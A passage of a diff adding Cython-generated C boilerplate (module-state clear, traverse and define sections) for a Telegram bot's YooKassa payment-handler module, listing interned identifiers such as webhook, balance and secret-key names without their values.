Py_CLEAR(clear_module_state->__pyx_n_u_quantity); + Py_CLEAR(clear_module_state->__pyx_n_s_range); + Py_CLEAR(clear_module_state->__pyx_n_u_receipt); + Py_CLEAR(clear_module_state->__pyx_n_u_redirect); + Py_CLEAR(clear_module_state->__pyx_n_s_reply_markup); + Py_CLEAR(clear_module_state->__pyx_n_s_request); + Py_CLEAR(clear_module_state->__pyx_n_u_return_url); + Py_CLEAR(clear_module_state->__pyx_n_s_router); + Py_CLEAR(clear_module_state->__pyx_n_s_row); + Py_CLEAR(clear_module_state->__pyx_n_s_secret_key); + Py_CLEAR(clear_module_state->__pyx_n_s_send); + Py_CLEAR(clear_module_state->__pyx_n_s_send_payment_success_notificatio); + Py_CLEAR(clear_module_state->__pyx_n_s_session); + Py_CLEAR(clear_module_state->__pyx_n_s_set_name); + Py_CLEAR(clear_module_state->__pyx_n_s_set_state); + Py_CLEAR(clear_module_state->__pyx_kp_u_solo_net); + Py_CLEAR(clear_module_state->__pyx_kp_u_solonet_sup); + Py_CLEAR(clear_module_state->__pyx_n_s_spec); + Py_CLEAR(clear_module_state->__pyx_n_s_split); + Py_CLEAR(clear_module_state->__pyx_n_s_startswith); + Py_CLEAR(clear_module_state->__pyx_n_s_state); + Py_CLEAR(clear_module_state->__pyx_n_s_status); + Py_CLEAR(clear_module_state->__pyx_n_u_status); + Py_CLEAR(clear_module_state->__pyx_n_u_succeeded); + Py_CLEAR(clear_module_state->__pyx_n_s_super); + Py_CLEAR(clear_module_state->__pyx_n_s_test); + Py_CLEAR(clear_module_state->__pyx_n_s_text); + Py_CLEAR(clear_module_state->__pyx_n_u_text); + Py_CLEAR(clear_module_state->__pyx_n_s_tg_id); + Py_CLEAR(clear_module_state->__pyx_n_s_throw); + Py_CLEAR(clear_module_state->__pyx_n_s_trial); + Py_CLEAR(clear_module_state->__pyx_n_u_type); + Py_CLEAR(clear_module_state->__pyx_n_s_types); + Py_CLEAR(clear_module_state->__pyx_kp_s_types_CallbackQuery); + Py_CLEAR(clear_module_state->__pyx_kp_s_types_Message); + Py_CLEAR(clear_module_state->__pyx_n_s_typing); + Py_CLEAR(clear_module_state->__pyx_n_s_update_balance); + Py_CLEAR(clear_module_state->__pyx_n_s_update_data); + Py_CLEAR(clear_module_state->__pyx_n_s_url); + Py_CLEAR(clear_module_state->__pyx_n_s_user_id); + Py_CLEAR(clear_module_state->__pyx_n_u_user_id); + Py_CLEAR(clear_module_state->__pyx_kp_u_user_id_amount); + Py_CLEAR(clear_module_state->__pyx_n_s_user_id_str); + Py_CLEAR(clear_module_state->__pyx_n_s_uuid); + Py_CLEAR(clear_module_state->__pyx_n_s_uuid4); + Py_CLEAR(clear_module_state->__pyx_n_u_value); + Py_CLEAR(clear_module_state->__pyx_n_u_vat_code); + Py_CLEAR(clear_module_state->__pyx_n_s_waiting_for_payment_confirmation); + Py_CLEAR(clear_module_state->__pyx_n_s_warning); + Py_CLEAR(clear_module_state->__pyx_n_s_web); + Py_CLEAR(clear_module_state->__pyx_n_u_yookassa); + Py_CLEAR(clear_module_state->__pyx_n_s_yookassa_2); + Py_CLEAR(clear_module_state->__pyx_n_u_yookassa_2); + Py_CLEAR(clear_module_state->__pyx_kp_u_yookassa_amount); + Py_CLEAR(clear_module_state->__pyx_n_s_yookassa_webhook); + Py_CLEAR(clear_module_state->__pyx_float_0_0); + Py_CLEAR(clear_module_state->__pyx_int_0); + Py_CLEAR(clear_module_state->__pyx_int_1); + Py_CLEAR(clear_module_state->__pyx_int_2); + Py_CLEAR(clear_module_state->__pyx_int_200); + Py_CLEAR(clear_module_state->__pyx_int_400); + Py_CLEAR(clear_module_state->__pyx_int_500); + Py_CLEAR(clear_module_state->__pyx_codeobj_); + Py_CLEAR(clear_module_state->__pyx_tuple__7); + Py_CLEAR(clear_module_state->__pyx_tuple__19); + Py_CLEAR(clear_module_state->__pyx_tuple__27); + Py_CLEAR(clear_module_state->__pyx_tuple__28); + Py_CLEAR(clear_module_state->__pyx_tuple__29); + Py_CLEAR(clear_module_state->__pyx_tuple__30); + Py_CLEAR(clear_module_state->__pyx_tuple__31); + Py_CLEAR(clear_module_state->__pyx_tuple__32); + Py_CLEAR(clear_module_state->__pyx_codeobj__5); + Py_CLEAR(clear_module_state->__pyx_codeobj__13); + Py_CLEAR(clear_module_state->__pyx_codeobj__16); + Py_CLEAR(clear_module_state->__pyx_codeobj__20); + return 0; +} +#endif +/* #### Code section: module_state_traverse ### */ +#if CYTHON_USE_MODULE_STATE +static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { + __pyx_mstate *traverse_module_state = __pyx_mstate(m); + if (!traverse_module_state) return 0; + Py_VISIT(traverse_module_state->__pyx_d); + Py_VISIT(traverse_module_state->__pyx_b); + Py_VISIT(traverse_module_state->__pyx_cython_runtime); + Py_VISIT(traverse_module_state->__pyx_empty_tuple); + Py_VISIT(traverse_module_state->__pyx_empty_bytes); + Py_VISIT(traverse_module_state->__pyx_empty_unicode); + #ifdef __Pyx_CyFunction_USED + Py_VISIT(traverse_module_state->__pyx_CyFunctionType); + #endif + #ifdef __Pyx_FusedFunction_USED + Py_VISIT(traverse_module_state->__pyx_FusedFunctionType); + #endif + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input); + Py_VISIT(traverse_module_state->__pyx_kp_u_1_00); + Py_VISIT(traverse_module_state->__pyx_kp_u_79000000000); + Py_VISIT(traverse_module_state->__pyx_kp_u_API_Yookassa); + Py_VISIT(traverse_module_state->__pyx_kp_u_Account_ID); + Py_VISIT(traverse_module_state->__pyx_n_s_Any); + Py_VISIT(traverse_module_state->__pyx_n_s_Configuration); + Py_VISIT(traverse_module_state->__pyx_n_s_F); + Py_VISIT(traverse_module_state->__pyx_n_s_FSMContext); + Py_VISIT(traverse_module_state->__pyx_n_u_HASHHASHYOOKASSA); + Py_VISIT(traverse_module_state->__pyx_kp_u_ID); + Py_VISIT(traverse_module_state->__pyx_kp_u_ID_2); + Py_VISIT(traverse_module_state->__pyx_n_s_InlineKeyboardBuilder); + Py_VISIT(traverse_module_state->__pyx_n_s_InlineKeyboardButton); + Py_VISIT(traverse_module_state->__pyx_n_s_InlineKeyboardMarkup); + Py_VISIT(traverse_module_state->__pyx_n_s_MAIN_SECRET); + Py_VISIT(traverse_module_state->__pyx_n_s_PAYMENT_OPTIONS); + Py_VISIT(traverse_module_state->__pyx_n_u_PIRAT4ETO5DLYA0TEBYA); + Py_VISIT(traverse_module_state->__pyx_n_s_Payment); + Py_VISIT(traverse_module_state->__pyx_kp_u_Payment_succeeded_for_user_id); + Py_VISIT(traverse_module_state->__pyx_n_u_RUB); + Py_VISIT(traverse_module_state->__pyx_n_s_ReplenishBalanceState); + Py_VISIT(traverse_module_state->__pyx_n_s_Response); + Py_VISIT(traverse_module_state->__pyx_n_s_Router); + Py_VISIT(traverse_module_state->__pyx_kp_u_Secret_Key); + Py_VISIT(traverse_module_state->__pyx_n_s_State); + Py_VISIT(traverse_module_state->__pyx_n_s_StatesGroup); + Py_VISIT(traverse_module_state->__pyx_n_s_ValueError); + Py_VISIT(traverse_module_state->__pyx_kp_u_Webhook_event_received); + Py_VISIT(traverse_module_state->__pyx_n_s_YOOKASSA_ENABLE); + Py_VISIT(traverse_module_state->__pyx_n_s_YOOKASSA_HASH); + Py_VISIT(traverse_module_state->__pyx_kp_u_YOOKASSA_HASH_2); + Py_VISIT(traverse_module_state->__pyx_n_s_YOOKASSA_SECRET_KEY); + Py_VISIT(traverse_module_state->__pyx_n_s_YOOKASSA_SHOP_ID); + Py_VISIT(traverse_module_state->__pyx_kp_u__10); + Py_VISIT(traverse_module_state->__pyx_kp_u__11); + Py_VISIT(traverse_module_state->__pyx_kp_u__12); + Py_VISIT(traverse_module_state->__pyx_kp_u__14); + Py_VISIT(traverse_module_state->__pyx_kp_u__15); + Py_VISIT(traverse_module_state->__pyx_kp_u__17); + Py_VISIT(traverse_module_state->__pyx_kp_u__18); + Py_VISIT(traverse_module_state->__pyx_kp_u__2); + Py_VISIT(traverse_module_state->__pyx_kp_u__21); + Py_VISIT(traverse_module_state->__pyx_kp_u__22); + Py_VISIT(traverse_module_state->__pyx_kp_u__23); + Py_VISIT(traverse_module_state->__pyx_kp_u__24); + Py_VISIT(traverse_module_state->__pyx_n_s__25); + Py_VISIT(traverse_module_state->__pyx_kp_u__26); + Py_VISIT(traverse_module_state->__pyx_kp_u__3); + Py_VISIT(traverse_module_state->__pyx_n_s__33); + Py_VISIT(traverse_module_state->__pyx_kp_u__4); + Py_VISIT(traverse_module_state->__pyx_kp_u__6); + Py_VISIT(traverse_module_state->__pyx_kp_u__8); + Py_VISIT(traverse_module_state->__pyx_n_u__9); + Py_VISIT(traverse_module_state->__pyx_n_s_account_id); + Py_VISIT(traverse_module_state->__pyx_n_s_add_connection); + Py_VISIT(traverse_module_state->__pyx_n_s_add_payment); + Py_VISIT(traverse_module_state->__pyx_n_s_aiogram); + Py_VISIT(traverse_module_state->__pyx_n_s_aiogram_fsm_context); + Py_VISIT(traverse_module_state->__pyx_n_s_aiogram_fsm_state); + Py_VISIT(traverse_module_state->__pyx_n_s_aiogram_types); + Py_VISIT(traverse_module_state->__pyx_n_s_aiogram_utils_keyboard); + Py_VISIT(traverse_module_state->__pyx_n_s_aiohttp); + Py_VISIT(traverse_module_state->__pyx_n_s_amount); + Py_VISIT(traverse_module_state->__pyx_n_u_amount); + Py_VISIT(traverse_module_state->__pyx_kp_u_amount_2); + Py_VISIT(traverse_module_state->__pyx_n_s_amount_str); + Py_VISIT(traverse_module_state->__pyx_n_s_answer); + Py_VISIT(traverse_module_state->__pyx_n_s_args); + Py_VISIT(traverse_module_state->__pyx_n_s_as_markup); + Py_VISIT(traverse_module_state->__pyx_n_s_asyncio_coroutines); + Py_VISIT(traverse_module_state->__pyx_n_s_await); + Py_VISIT(traverse_module_state->__pyx_n_s_balance); + Py_VISIT(traverse_module_state->__pyx_n_s_builder); + Py_VISIT(traverse_module_state->__pyx_n_s_callback_data); + Py_VISIT(traverse_module_state->__pyx_n_u_callback_data); + Py_VISIT(traverse_module_state->__pyx_n_s_callback_query); + Py_VISIT(traverse_module_state->__pyx_n_u_capture); + Py_VISIT(traverse_module_state->__pyx_n_s_chat); + Py_VISIT(traverse_module_state->__pyx_n_s_check_connection_exists); + Py_VISIT(traverse_module_state->__pyx_n_s_choosing_amount_yookassa); + Py_VISIT(traverse_module_state->__pyx_n_s_class_getitem); + Py_VISIT(traverse_module_state->__pyx_n_s_cline_in_traceback); + Py_VISIT(traverse_module_state->__pyx_n_s_close); + Py_VISIT(traverse_module_state->__pyx_n_s_config); + Py_VISIT(traverse_module_state->__pyx_n_s_confirm_keyboard); + Py_VISIT(traverse_module_state->__pyx_n_u_confirmation); + Py_VISIT(traverse_module_state->__pyx_n_u_confirmation_url); + Py_VISIT(traverse_module_state->__pyx_n_s_create); + Py_VISIT(traverse_module_state->__pyx_n_u_currency); + Py_VISIT(traverse_module_state->__pyx_n_u_customer); + Py_VISIT(traverse_module_state->__pyx_n_s_customer_email); + Py_VISIT(traverse_module_state->__pyx_n_s_customer_id); + Py_VISIT(traverse_module_state->__pyx_n_s_customer_name); + Py_VISIT(traverse_module_state->__pyx_n_s_data); + Py_VISIT(traverse_module_state->__pyx_n_s_database); + Py_VISIT(traverse_module_state->__pyx_n_s_debug); + Py_VISIT(traverse_module_state->__pyx_n_u_description); + Py_VISIT(traverse_module_state->__pyx_n_s_dict); + Py_VISIT(traverse_module_state->__pyx_kp_u_disable); + Py_VISIT(traverse_module_state->__pyx_n_s_doc); + Py_VISIT(traverse_module_state->__pyx_n_s_e); + Py_VISIT(traverse_module_state->__pyx_n_u_email); + Py_VISIT(traverse_module_state->__pyx_kp_u_enable); + Py_VISIT(traverse_module_state->__pyx_n_u_enter_custom_amount_yookassa); + Py_VISIT(traverse_module_state->__pyx_n_s_entering_custom_amount_yookassa); + Py_VISIT(traverse_module_state->__pyx_n_s_error); + Py_VISIT(traverse_module_state->__pyx_n_s_event); + Py_VISIT(traverse_module_state->__pyx_n_s_exists); + Py_VISIT(traverse_module_state->__pyx_n_s_expected_hash); + Py_VISIT(traverse_module_state->__pyx_n_s_find_one); + Py_VISIT(traverse_module_state->__pyx_n_s_from_user); + Py_VISIT(traverse_module_state->__pyx_n_s_full_name); + Py_VISIT(traverse_module_state->__pyx_n_u_full_name); + Py_VISIT(traverse_module_state->__pyx_kp_u_gc); + Py_VISIT(traverse_module_state->__pyx_n_s_get); + Py_VISIT(traverse_module_state->__pyx_n_s_get_key_count); + Py_VISIT(traverse_module_state->__pyx_n_s_handlers_payments_gift); + Py_VISIT(traverse_module_state->__pyx_n_s_handlers_payments_utils); + Py_VISIT(traverse_module_state->__pyx_n_s_handlers_payments_yookassa_pay); + Py_VISIT(traverse_module_state->__pyx_kp_s_handlers_payments_yookassa_pay_p); + Py_VISIT(traverse_module_state->__pyx_n_s_handlers_texts); + Py_VISIT(traverse_module_state->__pyx_kp_u_https_pocomacho_ru_success_html); + Py_VISIT(traverse_module_state->__pyx_n_s_i); + Py_VISIT(traverse_module_state->__pyx_n_s_id); + Py_VISIT(traverse_module_state->__pyx_n_u_id); + Py_VISIT(traverse_module_state->__pyx_n_s_import); + Py_VISIT(traverse_module_state->__pyx_n_s_info); + Py_VISIT(traverse_module_state->__pyx_n_s_init_subclass); + Py_VISIT(traverse_module_state->__pyx_n_s_initializing); + Py_VISIT(traverse_module_state->__pyx_n_s_inline_keyboard); + Py_VISIT(traverse_module_state->__pyx_n_s_is_coroutine); + Py_VISIT(traverse_module_state->__pyx_n_s_isdigit); + Py_VISIT(traverse_module_state->__pyx_kp_u_isenabled); + Py_VISIT(traverse_module_state->__pyx_n_u_items); + Py_VISIT(traverse_module_state->__pyx_n_s_json); + Py_VISIT(traverse_module_state->__pyx_n_s_key_count); + Py_VISIT(traverse_module_state->__pyx_n_s_logger); + Py_VISIT(traverse_module_state->__pyx_n_s_main); + Py_VISIT(traverse_module_state->__pyx_n_s_message); + Py_VISIT(traverse_module_state->__pyx_n_s_metaclass); + Py_VISIT(traverse_module_state->__pyx_n_s_metadata); + Py_VISIT(traverse_module_state->__pyx_n_u_metadata); + Py_VISIT(traverse_module_state->__pyx_n_s_module); + Py_VISIT(traverse_module_state->__pyx_n_s_mro_entries); + Py_VISIT(traverse_module_state->__pyx_n_s_name); + Py_VISIT(traverse_module_state->__pyx_n_u_object); + Py_VISIT(traverse_module_state->__pyx_n_s_paid); + Py_VISIT(traverse_module_state->__pyx_n_u_pay); + Py_VISIT(traverse_module_state->__pyx_n_u_pay_yookassa); + Py_VISIT(traverse_module_state->__pyx_n_s_payment); + Py_VISIT(traverse_module_state->__pyx_n_s_payment_id); + Py_VISIT(traverse_module_state->__pyx_n_s_payment_object); + Py_VISIT(traverse_module_state->__pyx_n_s_payment_url); + Py_VISIT(traverse_module_state->__pyx_n_u_pending); + Py_VISIT(traverse_module_state->__pyx_n_u_phone); + Py_VISIT(traverse_module_state->__pyx_n_s_prepare); + Py_VISIT(traverse_module_state->__pyx_n_s_process_amount_selection); + Py_VISIT(traverse_module_state->__pyx_n_s_process_callback_pay_yookassa); + Py_VISIT(traverse_module_state->__pyx_n_s_process_custom_amount_input); + Py_VISIT(traverse_module_state->__pyx_n_s_process_enter_custom_amount); + Py_VISIT(traverse_module_state->__pyx_n_s_qualname); + Py_VISIT(traverse_module_state->__pyx_n_u_quantity); + Py_VISIT(traverse_module_state->__pyx_n_s_range); + Py_VISIT(traverse_module_state->__pyx_n_u_receipt); + Py_VISIT(traverse_module_state->__pyx_n_u_redirect); + Py_VISIT(traverse_module_state->__pyx_n_s_reply_markup); + Py_VISIT(traverse_module_state->__pyx_n_s_request); + Py_VISIT(traverse_module_state->__pyx_n_u_return_url); + Py_VISIT(traverse_module_state->__pyx_n_s_router); + Py_VISIT(traverse_module_state->__pyx_n_s_row); + Py_VISIT(traverse_module_state->__pyx_n_s_secret_key); + Py_VISIT(traverse_module_state->__pyx_n_s_send); + Py_VISIT(traverse_module_state->__pyx_n_s_send_payment_success_notificatio); + Py_VISIT(traverse_module_state->__pyx_n_s_session); + Py_VISIT(traverse_module_state->__pyx_n_s_set_name); + Py_VISIT(traverse_module_state->__pyx_n_s_set_state); + Py_VISIT(traverse_module_state->__pyx_kp_u_solo_net); + Py_VISIT(traverse_module_state->__pyx_kp_u_solonet_sup); + Py_VISIT(traverse_module_state->__pyx_n_s_spec); + Py_VISIT(traverse_module_state->__pyx_n_s_split); + Py_VISIT(traverse_module_state->__pyx_n_s_startswith); + Py_VISIT(traverse_module_state->__pyx_n_s_state); + Py_VISIT(traverse_module_state->__pyx_n_s_status); + Py_VISIT(traverse_module_state->__pyx_n_u_status); + Py_VISIT(traverse_module_state->__pyx_n_u_succeeded); + Py_VISIT(traverse_module_state->__pyx_n_s_super); + Py_VISIT(traverse_module_state->__pyx_n_s_test); + Py_VISIT(traverse_module_state->__pyx_n_s_text); + Py_VISIT(traverse_module_state->__pyx_n_u_text); + Py_VISIT(traverse_module_state->__pyx_n_s_tg_id); + Py_VISIT(traverse_module_state->__pyx_n_s_throw); + Py_VISIT(traverse_module_state->__pyx_n_s_trial); + Py_VISIT(traverse_module_state->__pyx_n_u_type); + Py_VISIT(traverse_module_state->__pyx_n_s_types); + Py_VISIT(traverse_module_state->__pyx_kp_s_types_CallbackQuery); + Py_VISIT(traverse_module_state->__pyx_kp_s_types_Message); + Py_VISIT(traverse_module_state->__pyx_n_s_typing); + Py_VISIT(traverse_module_state->__pyx_n_s_update_balance); + Py_VISIT(traverse_module_state->__pyx_n_s_update_data); + Py_VISIT(traverse_module_state->__pyx_n_s_url); + Py_VISIT(traverse_module_state->__pyx_n_s_user_id); + Py_VISIT(traverse_module_state->__pyx_n_u_user_id); + Py_VISIT(traverse_module_state->__pyx_kp_u_user_id_amount); + Py_VISIT(traverse_module_state->__pyx_n_s_user_id_str); + Py_VISIT(traverse_module_state->__pyx_n_s_uuid); + Py_VISIT(traverse_module_state->__pyx_n_s_uuid4); + Py_VISIT(traverse_module_state->__pyx_n_u_value); + Py_VISIT(traverse_module_state->__pyx_n_u_vat_code); + Py_VISIT(traverse_module_state->__pyx_n_s_waiting_for_payment_confirmation); + Py_VISIT(traverse_module_state->__pyx_n_s_warning); + Py_VISIT(traverse_module_state->__pyx_n_s_web); + Py_VISIT(traverse_module_state->__pyx_n_u_yookassa); + Py_VISIT(traverse_module_state->__pyx_n_s_yookassa_2); + Py_VISIT(traverse_module_state->__pyx_n_u_yookassa_2); + Py_VISIT(traverse_module_state->__pyx_kp_u_yookassa_amount); + Py_VISIT(traverse_module_state->__pyx_n_s_yookassa_webhook); + Py_VISIT(traverse_module_state->__pyx_float_0_0); + Py_VISIT(traverse_module_state->__pyx_int_0); + Py_VISIT(traverse_module_state->__pyx_int_1); + Py_VISIT(traverse_module_state->__pyx_int_2); + Py_VISIT(traverse_module_state->__pyx_int_200); + Py_VISIT(traverse_module_state->__pyx_int_400); + Py_VISIT(traverse_module_state->__pyx_int_500); + Py_VISIT(traverse_module_state->__pyx_codeobj_); + Py_VISIT(traverse_module_state->__pyx_tuple__7); + Py_VISIT(traverse_module_state->__pyx_tuple__19); + Py_VISIT(traverse_module_state->__pyx_tuple__27); + Py_VISIT(traverse_module_state->__pyx_tuple__28); + Py_VISIT(traverse_module_state->__pyx_tuple__29); + Py_VISIT(traverse_module_state->__pyx_tuple__30); + Py_VISIT(traverse_module_state->__pyx_tuple__31); + Py_VISIT(traverse_module_state->__pyx_tuple__32); + Py_VISIT(traverse_module_state->__pyx_codeobj__5); + Py_VISIT(traverse_module_state->__pyx_codeobj__13); + Py_VISIT(traverse_module_state->__pyx_codeobj__16); + Py_VISIT(traverse_module_state->__pyx_codeobj__20); + return 0; +} +#endif +/* #### Code section: module_state_defines ### */ +#define __pyx_d __pyx_mstate_global->__pyx_d +#define __pyx_b __pyx_mstate_global->__pyx_b +#define __pyx_cython_runtime __pyx_mstate_global->__pyx_cython_runtime +#define __pyx_empty_tuple __pyx_mstate_global->__pyx_empty_tuple +#define __pyx_empty_bytes __pyx_mstate_global->__pyx_empty_bytes +#define __pyx_empty_unicode __pyx_mstate_global->__pyx_empty_unicode +#ifdef __Pyx_CyFunction_USED +#define __pyx_CyFunctionType __pyx_mstate_global->__pyx_CyFunctionType +#endif +#ifdef __Pyx_FusedFunction_USED +#define __pyx_FusedFunctionType __pyx_mstate_global->__pyx_FusedFunctionType +#endif +#ifdef __Pyx_Generator_USED +#define __pyx_GeneratorType __pyx_mstate_global->__pyx_GeneratorType +#endif +#ifdef __Pyx_IterableCoroutine_USED +#define __pyx_IterableCoroutineType __pyx_mstate_global->__pyx_IterableCoroutineType +#endif +#ifdef __Pyx_Coroutine_USED +#define __pyx_CoroutineAwaitType __pyx_mstate_global->__pyx_CoroutineAwaitType +#endif +#ifdef __Pyx_Coroutine_USED +#define __pyx_CoroutineType __pyx_mstate_global->__pyx_CoroutineType +#endif +#if CYTHON_USE_MODULE_STATE +#define __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa __pyx_mstate_global->__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa +#define __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection __pyx_mstate_global->__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection +#define __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook __pyx_mstate_global->__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook +#define __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount __pyx_mstate_global->__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount +#define __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input __pyx_mstate_global->__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input +#endif +#define __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa __pyx_mstate_global->__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa +#define __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection __pyx_mstate_global->__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection +#define __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook __pyx_mstate_global->__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook +#define __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount __pyx_mstate_global->__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount +#define __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input __pyx_mstate_global->__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input +#define __pyx_kp_u_1_00 __pyx_mstate_global->__pyx_kp_u_1_00 +#define __pyx_kp_u_79000000000 __pyx_mstate_global->__pyx_kp_u_79000000000 +#define __pyx_kp_u_API_Yookassa __pyx_mstate_global->__pyx_kp_u_API_Yookassa +#define __pyx_kp_u_Account_ID __pyx_mstate_global->__pyx_kp_u_Account_ID +#define __pyx_n_s_Any __pyx_mstate_global->__pyx_n_s_Any +#define __pyx_n_s_Configuration __pyx_mstate_global->__pyx_n_s_Configuration +#define __pyx_n_s_F __pyx_mstate_global->__pyx_n_s_F +#define __pyx_n_s_FSMContext __pyx_mstate_global->__pyx_n_s_FSMContext +#define __pyx_n_u_HASHHASHYOOKASSA __pyx_mstate_global->__pyx_n_u_HASHHASHYOOKASSA +#define __pyx_kp_u_ID __pyx_mstate_global->__pyx_kp_u_ID +#define __pyx_kp_u_ID_2 __pyx_mstate_global->__pyx_kp_u_ID_2 +#define __pyx_n_s_InlineKeyboardBuilder __pyx_mstate_global->__pyx_n_s_InlineKeyboardBuilder +#define __pyx_n_s_InlineKeyboardButton __pyx_mstate_global->__pyx_n_s_InlineKeyboardButton +#define __pyx_n_s_InlineKeyboardMarkup __pyx_mstate_global->__pyx_n_s_InlineKeyboardMarkup +#define __pyx_n_s_MAIN_SECRET __pyx_mstate_global->__pyx_n_s_MAIN_SECRET +#define __pyx_n_s_PAYMENT_OPTIONS __pyx_mstate_global->__pyx_n_s_PAYMENT_OPTIONS +#define __pyx_n_u_PIRAT4ETO5DLYA0TEBYA __pyx_mstate_global->__pyx_n_u_PIRAT4ETO5DLYA0TEBYA +#define __pyx_n_s_Payment __pyx_mstate_global->__pyx_n_s_Payment +#define __pyx_kp_u_Payment_succeeded_for_user_id __pyx_mstate_global->__pyx_kp_u_Payment_succeeded_for_user_id +#define __pyx_n_u_RUB __pyx_mstate_global->__pyx_n_u_RUB +#define __pyx_n_s_ReplenishBalanceState __pyx_mstate_global->__pyx_n_s_ReplenishBalanceState +#define __pyx_n_s_Response __pyx_mstate_global->__pyx_n_s_Response +#define __pyx_n_s_Router __pyx_mstate_global->__pyx_n_s_Router +#define __pyx_kp_u_Secret_Key __pyx_mstate_global->__pyx_kp_u_Secret_Key +#define __pyx_n_s_State __pyx_mstate_global->__pyx_n_s_State +#define __pyx_n_s_StatesGroup __pyx_mstate_global->__pyx_n_s_StatesGroup +#define __pyx_n_s_ValueError __pyx_mstate_global->__pyx_n_s_ValueError +#define __pyx_kp_u_Webhook_event_received __pyx_mstate_global->__pyx_kp_u_Webhook_event_received +#define __pyx_n_s_YOOKASSA_ENABLE __pyx_mstate_global->__pyx_n_s_YOOKASSA_ENABLE +#define __pyx_n_s_YOOKASSA_HASH __pyx_mstate_global->__pyx_n_s_YOOKASSA_HASH +#define __pyx_kp_u_YOOKASSA_HASH_2 __pyx_mstate_global->__pyx_kp_u_YOOKASSA_HASH_2 +#define __pyx_n_s_YOOKASSA_SECRET_KEY __pyx_mstate_global->__pyx_n_s_YOOKASSA_SECRET_KEY +#define __pyx_n_s_YOOKASSA_SHOP_ID __pyx_mstate_global->__pyx_n_s_YOOKASSA_SHOP_ID +#define __pyx_kp_u__10 __pyx_mstate_global->__pyx_kp_u__10 +#define __pyx_kp_u__11 __pyx_mstate_global->__pyx_kp_u__11 +#define __pyx_kp_u__12 __pyx_mstate_global->__pyx_kp_u__12 +#define __pyx_kp_u__14 __pyx_mstate_global->__pyx_kp_u__14 +#define __pyx_kp_u__15 __pyx_mstate_global->__pyx_kp_u__15 +#define __pyx_kp_u__17 __pyx_mstate_global->__pyx_kp_u__17 +#define __pyx_kp_u__18 __pyx_mstate_global->__pyx_kp_u__18 +#define __pyx_kp_u__2 __pyx_mstate_global->__pyx_kp_u__2 +#define __pyx_kp_u__21 __pyx_mstate_global->__pyx_kp_u__21 +#define __pyx_kp_u__22 __pyx_mstate_global->__pyx_kp_u__22 +#define __pyx_kp_u__23 __pyx_mstate_global->__pyx_kp_u__23 +#define __pyx_kp_u__24 __pyx_mstate_global->__pyx_kp_u__24 +#define __pyx_n_s__25 __pyx_mstate_global->__pyx_n_s__25 +#define __pyx_kp_u__26 __pyx_mstate_global->__pyx_kp_u__26 +#define __pyx_kp_u__3 __pyx_mstate_global->__pyx_kp_u__3 +#define __pyx_n_s__33 __pyx_mstate_global->__pyx_n_s__33 +#define __pyx_kp_u__4 __pyx_mstate_global->__pyx_kp_u__4 +#define __pyx_kp_u__6 __pyx_mstate_global->__pyx_kp_u__6 +#define __pyx_kp_u__8 __pyx_mstate_global->__pyx_kp_u__8 +#define __pyx_n_u__9 __pyx_mstate_global->__pyx_n_u__9 +#define __pyx_n_s_account_id __pyx_mstate_global->__pyx_n_s_account_id +#define __pyx_n_s_add_connection __pyx_mstate_global->__pyx_n_s_add_connection +#define __pyx_n_s_add_payment __pyx_mstate_global->__pyx_n_s_add_payment +#define __pyx_n_s_aiogram __pyx_mstate_global->__pyx_n_s_aiogram +#define __pyx_n_s_aiogram_fsm_context __pyx_mstate_global->__pyx_n_s_aiogram_fsm_context +#define __pyx_n_s_aiogram_fsm_state __pyx_mstate_global->__pyx_n_s_aiogram_fsm_state +#define __pyx_n_s_aiogram_types __pyx_mstate_global->__pyx_n_s_aiogram_types +#define __pyx_n_s_aiogram_utils_keyboard 